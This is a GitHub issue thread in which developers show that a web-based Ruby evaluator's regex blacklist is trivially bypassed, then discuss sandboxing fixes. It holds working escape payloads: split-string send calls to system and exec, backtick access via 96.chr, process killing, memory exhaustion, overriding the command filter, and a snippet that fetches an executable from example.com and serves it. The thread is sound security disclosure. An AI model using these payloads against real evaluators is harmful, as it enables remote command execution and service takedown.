this is not safe

[rkh]

Your regexp based safety is virtually non existent. Check out /home/ubuntu/onirb/public/warning.html if you don't believe me. I've shut down your app so nobody does any crazy stuff with it, cause, you know, you were running as root.

Here is how I did it (just in case you should think you fixed the issue):

1.9.3 :013 > Object.const_get("P""rocess").pid 
=> 27418
1.9.3 :014 > %x(kill -9 27418) 
Disconnected! Please reload page!

[bensonk]

<3 <3 <3

[rkh]

In case you think you just need better regexps, here is for instance how you can reach Kernel without it being in the line at all: Object.ancestors[1].

What you actually want is proper sandboxing or at least a proper parser.

[rkh]

In fact, TryRuby combines the two: https://github.com/Sophrinix/TryRuby/blob/master/lib/tryruby.rb

[duckinator]

I found 3 methods to get around each thing you blocked:

system"ls"
method(:system).('ls')
send("sys""tem", 'ls')

exec"ls"
method(:exec).('ls')
send("ex""ec", 'ls')

eval"Dir['*']"
method(:eval).("Dir['*']")
send("ev""al", "Dir['*']")

# This is for accessing the backtick.
method(:"#{96.chr}").('ls')
send(96.chr, 'ls')
send(?_.next, 'ls')

%x|ls|
%x"ls"
%x{ls}

On top of that, you left dangerous Kernel methods available. This includes, but is not limited to:

at_exit
syscall
open
trap
exec
fork
spawn

You also left dangerous or potentially-dangerous objects and constants available. This includes, but is not limited to:

ENV
IO
ARGF
FileTest
File
Dir
RubyVM
Gem
RbConfig
Config
File

Blacklists are flawed by design, as is checking with regexes. The only safe way to go about it is to entirely remove any methods, objects, or constants you cannot trust. This is not limited to the lists I left above. In other words, you need a whitelist-based sandbox.

This also does not protect against the following snippets:

Use all available memory:

a=[];loop{a<<a}

Hang endlessly:

sleep

Allow all commands to be ran:

def unacceptable_command?(command);false;end

[duckinator]

Some more things that can be done:

Override $stdout and $stderr, and store the contents:

require 'stringio'
$stdout=$stderr=StringIO.new

Completely disregard $stdout and $stderr:

$stdout=$stderr=Class.new{def write(*a);end}

Turn it into a normal shell (likely will run commands through sh or bash on *nix, guessing cmd on Windows):

def evaluate(x);send(96.chr, x);end

---

Some things that may work, but I am not entirely sure about:

Make the root directory of the server be /:

set :public_folder, '/'

Spawn a separate server on an arbitrary port, serving /:

%x| ruby -e "require 'sinatra'; class App < Sinatra::Base; set :public_folder, '/'; run!; end" -p 1234 |

Spawn a separate server, with your own content:

require 'open-uri'
File.open('blah.exe', 'w') do |f|
  f.print open('http://example.com/zomg_malware.exe').read
end
%x| ruby -e "require 'sinatra'; class App < Sinatra::Base; set :public_folder, File.dirname(__FILE__); run!; end" -p 1234 |

[sfate]

Thx for responses.

I admit security problems and my HUGE fail.
This is designed as simple project 4fun... but I have no excuse.

[duckinator]

Well, fortunately @rkh was nice enough to shut it down when she noticed how vulnerable it was. I saw this via Twitter, so I hope you don't get chewed out too bad over it. Everyone has to start learning somewhere. If you want to clean this up and make it secure, you should definitely start with a blacklist.

I don't like tooting my own horn (so to speak), but I also don't like seeing duplication of work, so: if you're setting out just to learn, you can try to get this to work nice; however, if you're just after the end result (secure evaluation of ruby code on a website), I started sicuro nearly 2 years ago, so that may be worth looking into.

[sfate]

I saw this via Twitter, so I hope you don't get chewed out too bad over it.

Everything is fine. @rkh was gentle and just place file public/warning.html to show vulnerability and shut it down.
So now i'm working on security gaps before run it again.

If you want to clean this up and make it secure, you should definitely start with a blacklist.

Yeap. I've just think about this.

I started sicuro nearly 2 years ago, so that may be worth looking into.

Very interesting, thx.

Now added $SAFE level as quick fix of security.
But it doesn't handle memory/time usage and constant names.

[duckinator]

Oh wow, I need to stop writing on github before 10am. You should start with a whitelist. Sorry. :)

$SAFE is not meant for security, however it's a good temporary fix for this to avoid it being wide-open to abuse. Once you switch to a whitelist you can likely remove $SAFE entirely.

Regarding timeouts: there's the Timeout class, as well as the timeout executable from coreutils (on *nix systems, anyway), depending on the approach you end up taking with the design.

Regarding memory...I've still not handled that very well. In sicuro I've limited it, but on some systems it needs 100MB just to start the sandbox and print some text -- but fortunately doesn't usually need any more after the sandbox is started.

The following should be a good start:

http://www.ruby-doc.org/core-1.9.3/Process.html
http://www.ruby-doc.org/core-1.9.3/IO.html
http://www.ruby-doc.org/stdlib-1.9.3/libdoc/open3/rdoc/Open3.html
http://ruby-doc.org/stdlib-1.9.2/libdoc/timeout/rdoc/Timeout.html

Capture stdout/stderr:

require 'stringio'

# Runs a block of code, capturing stdout and stderr
def capture_out_err(&block)
  # Set stdout/stderr to something we can capture output from
  $stdout = StringIO.new
  $stderr = StringIO.new

  # Call the code we cant to capture output from
  yield block

  # Get the output captured by the StringIOs
  out = $stdout.string
  err = $stderr.string

  # Reset stdout/stderr
  $stdout = STDOUT
  $stderr = STDERR

  [out, err]
end

capture_out_err { puts "hi" } # => ["hi\n", ""]

Get list of objects/constants and kernel methods:

constants = Object.constants
methods   = Kernel.methods - Object.methods

[rkh]

Still not safe (took it down, again). I don't think whitelisting is the way to go. Sandboxing probably is (separate VM, or JRuby sandboxing).

[duckinator]

Yea, I should have elaborated a bit more in my previous responses. You really can't rely on a whitelist design unless you spawn a new process and catch stdout, stderr, and possibly exceptions (see Open3). Otherwise you end up not being able to lock it down to the point that it is really safe, as no matter how secure a single process is, you can't easily remove alterations done by another user. For Sicuro, making it as safe as I can (I won't say it's perfectly safe -- I highly doubt it is) in a separate process takes a pretty hefty toll on what can be done with it. A VM or JRuby, as @rkh suggested, would truly be a more interesting approach for a web-based system because it may allow you to run the majority of ruby code entirely unaltered.

[sfate]

Yeah.. i agree better way would be to use VM.

[DouglasAllen]

I'm assuming you had this running on Heriku?
I'm just trying to get it to run on my own machine but it just says
Disconnected! Please Reload Page!
So I can type in a line but no copy and paste. Does cntrl v work?
Anyway I had no idea this was a big deal untill I went looking for issues to complain to.
So I guess that it's more complicated to get something like this that is safe and secure going is that right? Did you know about the JRuby applet version? Good luck on getting er going again. Try to keep it really simple and maybe you can keep it up.

[sfate]

Hi @DouglasAllen
Thanks for the catch. I think some things should be reimplemented for running it now even on local machine.
+
I think that is not really possible to keep it simple and make a fully security proof at the same time.
I'll make changes in near time.